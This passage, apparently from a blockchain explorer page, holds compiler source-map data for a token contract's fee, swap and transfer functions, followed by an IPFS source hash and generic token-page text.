;;;16781:23:0;-1:-1:-1;;;16781:23:0;;;26505:24:::1;::::0;26484:15:::1;::::0;16781:23;;26472:65:::1;::::0;26535:1:::1;::::0;26472:58:::1;::::0;;;:7;;:11:::1;:28::i;:::-;:32:::0;::::1;:58::i;:65::-;26450:87:::0;-1:-1:-1;26548:21:0::1;26572:24;:7:::0;26450:87;26572:11:::1;:24::i;:::-;26548:48;;26609:31;26626:13;26609:16;:31::i;:::-;26761:15;::::0;26676:21:::1;::::0;26651:22:::1;::::0;26732:52:::1;::::0;26761:22:::1;::::0;26781:1:::1;26761:19;:22::i;:::-;26732:24;::::0;;:28:::1;:52::i;:::-;26710:74;;26805:26;26834:59;26891:1;26834:52;26874:11;26834:35;26853:15;;26834:14;:18;;:35;;;;:::i;:59::-;26805:88;;26904:21;26928:47;26963:11;26928:30;26947:10;;26928:14;:18;;:30;;;;:::i;:47::-;26904:71:::0;-1:-1:-1;26986:26:0::1;27015:57;26904:71:::0;27015:38:::1;:14:::0;27034:18;27015::::1;:38::i;:::-;:42:::0;::::1;:57::i;:::-;26986:86:::0;-1:-1:-1;27088:22:0;;27085:104:::1;;27146:22;::::0;27125:64:::1;::::0;-1:-1:-1;;;;;27146:22:0::1;27170:18:::0;27125:20:::1;:64::i;:::-;27205:17:::0;;27202:87:::1;;27258:15;::::0;27237:52:::1;::::0;27258:15:::1;::::0;::::1;-1:-1:-1::0;;;;;27258:15:0::1;27275:13:::0;27237:20:::1;:52::i;:::-;27326:1;27305:18;:22;:41;;;;;27345:1;27331:11;:15;27305:41;27302:104;;;27361:45;27374:11;27387:18;27361:12;:45::i;:::-;-1:-1:-1::0;;16827:16:0;:24;;-1:-1:-1;;;;16827:24:0;;;-1:-1:-1;;;;;;26368:1046:0:o;28621:622::-;-1:-1:-1;;;;;28782:20:0;;28707:7;28782:20;;;:12;:20;;;;;;28707:7;;28782:20;;28779:223;;;28831:38;28865:3;28831:29;28842:17;;28831:6;:10;;:29;;;;:::i;:38::-;28819:50;;28779:223;;;-1:-1:-1;;;;;28899:23:0;;;;;;:12;:23;;;;;;;;28896:106;;;28951:39;28986:3;28951:30;28962:18;;28951:6;:10;;:30;;;;:::i;:39::-;28939:51;;28896:106;29025:13;;29022:173;;29100:4;29082:24;;;;:9;:24;;;;;;:39;;29111:9;29082:28;:39::i;:::-;29073:4;29055:24;;;;:9;:24;;;;;;;:66;;;;29141:42;;-1:-1:-1;;;;;29141:42:0;;;;;;;29173:9;9662:25:1;;9650:2;9635:18;;9516:177;29141:42:0;;;;;;;;29022:173;29214:21;:6;29225:9;29214:10;:21::i;1774:250::-;1832:7;1856:6;1852:47;;-1:-1:-1;1886:1:0;1879:8;;1852:47;1911:9;1923:5;1927:1;1923;:5;:::i;:::-;1911:17;-1:-1:-1;1956:1:0;1947:5;1951:1;1911:17;1947:5;:::i;:::-;:10;1939:56;;;;-1:-1:-1;;;1939:56:0;;8144:2:1;1939:56:0;;;8126:21:1;8183:2;8163:18;;;8156:30;8222:34;8202:18;;;8195:62;-1:-1:-1;;;8273:18:1;;;8266:31;8314:19;;1939:56:0;7942:397:1;2032:132:0;2090:7;2117:39;2121:1;2124;2117:39;;;;;;;;;;;;;;;;;:3;:39::i;27426:666::-;27576:16;;;27590:1;27576:16;;;;;;;;27552:21;;27576:16;;;;;;;;;;-1:-1:-1;27576:16:0;27552:40;;27621:4;27603;27608:1;27603:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;27603:23:0;;;:7;;;;;;;;;;:23;;;;27647:15;;:22;;;-1:-1:-1;;;27647:22:0;;;;:15;;;;;:20;;:22;;;;;27603:7;;27647:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;27637:4;27642:1;27637:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;27637:32:0;;;:7;;;;;;;;;:32;27714:15;;27682:62;;27699:4;;27714:15;27732:11;27682:8;:62::i;:::-;27783:15;;:240;;-1:-1:-1;;;27783:240:0;;-1:-1:-1;;;;;27783:15:0;;;;:66;;:240;;27864:11;;27783:15;;27934:4;;27961;;27997:15;;27783:240;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;28049:35;28066:11;28079:4;28049:35;;;;;;;:::i;:::-;;;;;;;;27481:611;27426:666;:::o;22772:126::-;22864:26;;-1:-1:-1;;;;;22864:18:0;;;:26;;;;;22883:6;;22864:26;;;;22883:6;22864:18;:26;;;;;;;;;;;;;;;;;;;;;22772:126;;:::o;28100:513::-;28280:15;;28248:62;;28265:4;;-1:-1:-1;;;;;28280:15:0;28298:11;28248:8;:62::i;:::-;28353:15;;-1:-1:-1;;;;;28353:15:0;:31;28392:9;28425:4;28445:11;28353:15;;28557:7;5665;5692:6;-1:-1:-1;;;;;5692:6:0;;5627:79;28557:7;28353:252;;;;;;-1:-1:-1;;;;;;28353:252:0;;;-1:-1:-1;;;;;4681:15:1;;;28353:252:0;;;4663:34:1;4713:18;;;4706:34;;;;4756:18;;;4749:34;;;;4799:18;;;4792:34;4863:15;;;4842:19;;;4835:44;28579:15:0;4895:19:1;;;4888:35;4597:19;;28353:252:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;28100:513;;:::o;2172:278::-;2258:7;2293:12;2286:5;2278:28;;;;-1:-1:-1;;;2278:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2317:9:0;2329:5;2333:1;2329;:5;:::i;14:160:1:-;79:20;;135:13;;128:21;118:32;;108:60;;164:1;161;154:12;108:60;14:160;;;:::o;179:247::-;238:6;291:2;279:9;270:7;266:23;262:32;259:52;;;307:1;304;297:12;259:52;346:9;333:23;365:31;390:5;365:31;:::i;431:251::-;501:6;554:2;542:9;533:7;529:23;525:32;522:52;;;570:1;567;560:12;522:52;602:9;596:16;621:31;646:5;621:31;:::i;687:388::-;755:6;763;816:2;804:9;795:7;791:23;787:32;784:52;;;832:1;829;822:12;784:52;871:9;858:23;890:31;915:5;890:31;:::i;:::-;940:5;-1:-1:-1;997:2:1;982:18;;969:32;1010:33;969:32;1010:33;:::i;:::-;1062:7;1052:17;;;687:388;;;;;:::o;1080:456::-;1157:6;1165;1173;1226:2;1214:9;1205:7;1201:23;1197:32;1194:52;;;1242:1;1239;1232:12;1194:52;1281:9;1268:23;1300:31;1325:5;1300:31;:::i;:::-;1350:5;-1:-1:-1;1407:2:1;1392:18;;1379:32;1420:33;1379:32;1420:33;:::i;:::-;1080:456;;1472:7;;-1:-1:-1;;;1526:2:1;1511:18;;;;1498:32;;1080:456::o;1541:315::-;1606:6;1614;1667:2;1655:9;1646:7;1642:23;1638:32;1635:52;;;1683:1;1680;1673:12;1635:52;1722:9;1709:23;1741:31;1766:5;1741:31;:::i;:::-;1791:5;-1:-1:-1;1815:35:1;1846:2;1831:18;;1815:35;:::i;:::-;1805:45;;1541:315;;;;;:::o;1861:::-;1929:6;1937;1990:2;1978:9;1969:7;1965:23;1961:32;1958:52;;;2006:1;2003;1996:12;1958:52;2045:9;2032:23;2064:31;2089:5;2064:31;:::i;:::-;2114:5;2166:2;2151:18;;;;2138:32;;-1:-1:-1;;;1861:315:1:o;2181:180::-;2237:6;2290:2;2278:9;2269:7;2265:23;2261:32;2258:52;;;2306:1;2303;2296:12;2258:52;2329:26;2345:9;2329:26;:::i;2366:180::-;2425:6;2478:2;2466:9;2457:7;2453:23;2449:32;2446:52;;;2494:1;2491;2484:12;2446:52;-1:-1:-1;2517:23:1;;2366:180;-1:-1:-1;2366:180:1:o;2551:248::-;2619:6;2627;2680:2;2668:9;2659:7;2655:23;2651:32;2648:52;;;2696:1;2693;2686:12;2648:52;-1:-1:-1;;2719:23:1;;;2789:2;2774:18;;;2761:32;;-1:-1:-1;2551:248:1:o;2804:306::-;2892:6;2900;2908;2961:2;2949:9;2940:7;2936:23;2932:32;2929:52;;;2977:1;2974;2967:12;2929:52;3006:9;3000:16;2990:26;;3056:2;3045:9;3041:18;3035:25;3025:35;;3100:2;3089:9;3085:18;3079:25;3069:35;;2804:306;;;;;:::o;3115:461::-;3168:3;3206:5;3200:12;3233:6;3228:3;3221:19;3259:4;3288:2;3283:3;3279:12;3272:19;;3325:2;3318:5;3314:14;3346:1;3356:195;3370:6;3367:1;3364:13;3356:195;;;3435:13;;-1:-1:-1;;;;;3431:39:1;3419:52;;3491:12;;;;3526:15;;;;3467:1;3385:9;3356:195;;;-1:-1:-1;3567:3:1;;3115:461;-1:-1:-1;;;;;3115:461:1:o;5361:597::-;5473:4;5502:2;5531;5520:9;5513:21;5563:6;5557:13;5606:6;5601:2;5590:9;5586:18;5579:34;5631:1;5641:140;5655:6;5652:1;5649:13;5641:140;;;5750:14;;;5746:23;;5740:30;5716:17;;;5735:2;5712:26;5705:66;5670:10;;5641:140;;;5799:6;5796:1;5793:13;5790:91;;;5869:1;5864:2;5855:6;5844:9;5840:22;5836:31;5829:42;5790:91;-1:-1:-1;5942:2:1;5921:15;-1:-1:-1;;5917:29:1;5902:45;;;;5949:2;5898:54;;5361:597;-1:-1:-1;;;5361:597:1:o;8344:356::-;8546:2;8528:21;;;8565:18;;;8558:30;8624:34;8619:2;8604:18;;8597:62;8691:2;8676:18;;8344:356::o;9698:332::-;9905:6;9894:9;9887:25;9948:2;9943;9932:9;9928:18;9921:30;9868:4;9968:56;10020:2;10009:9;10005:18;9997:6;9968:56;:::i;:::-;9960:64;9698:332;-1:-1:-1;;;;9698:332:1:o;10035:582::-;10334:6;10323:9;10316:25;10377:6;10372:2;10361:9;10357:18;10350:34;10420:3;10415:2;10404:9;10400:18;10393:31;10297:4;10441:57;10493:3;10482:9;10478:19;10470:6;10441:57;:::i;:::-;-1:-1:-1;;;;;10534:32:1;;;;10529:2;10514:18;;10507:60;-1:-1:-1;10598:3:1;10583:19;10576:35;10433:65;10035:582;-1:-1:-1;;;10035:582:1:o;10811:128::-;10851:3;10882:1;10878:6;10875:1;10872:13;10869:39;;;10888:18;;:::i;:::-;-1:-1:-1;10924:9:1;;10811:128::o;10944:217::-;10984:1;11010;11000:132;;11054:10;11049:3;11045:20;11042:1;11035:31;11089:4;11086:1;11079:15;11117:4;11114:1;11107:15;11000:132;-1:-1:-1;11146:9:1;;10944:217::o;11166:168::-;11206:7;11272:1;11268;11264:6;11260:14;11257:1;11254:21;11249:1;11242:9;11235:17;11231:45;11228:71;;;11279:18;;:::i;:::-;-1:-1:-1;11319:9:1;;11166:168::o;11339:125::-;11379:4;11407:1;11404;11401:8;11398:34;;;11412:18;;:::i;:::-;-1:-1:-1;11449:9:1;;11339:125::o;11469:380::-;11548:1;11544:12;;;;11591;;;11612:61;;11666:4;11658:6;11654:17;11644:27;;11612:61;11719:2;11711:6;11708:14;11688:18;11685:38;11682:161;;;11765:10;11760:3;11756:20;11753:1;11746:31;11800:4;11797:1;11790:15;11828:4;11825:1;11818:15;11682:161;;11469:380;;;:::o;11854:127::-;11915:10;11910:3;11906:20;11903:1;11896:31;11946:4;11943:1;11936:15;11970:4;11967:1;11960:15;11986:127;12047:10;12042:3;12038:20;12035:1;12028:31;12078:4;12075:1;12068:15;12102:4;12099:1;12092:15;12250:131;-1:-1:-1;;;;;12325:31:1;;12315:42;;12305:70;;12371:1;12368;12361:12;12305:70;12250:131;:::o

Swarm Source

ipfs://75eb612ce73a0a4bd1cb805ad0abf2817e8c0610fc2bcfd60c64de2411fef48d
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.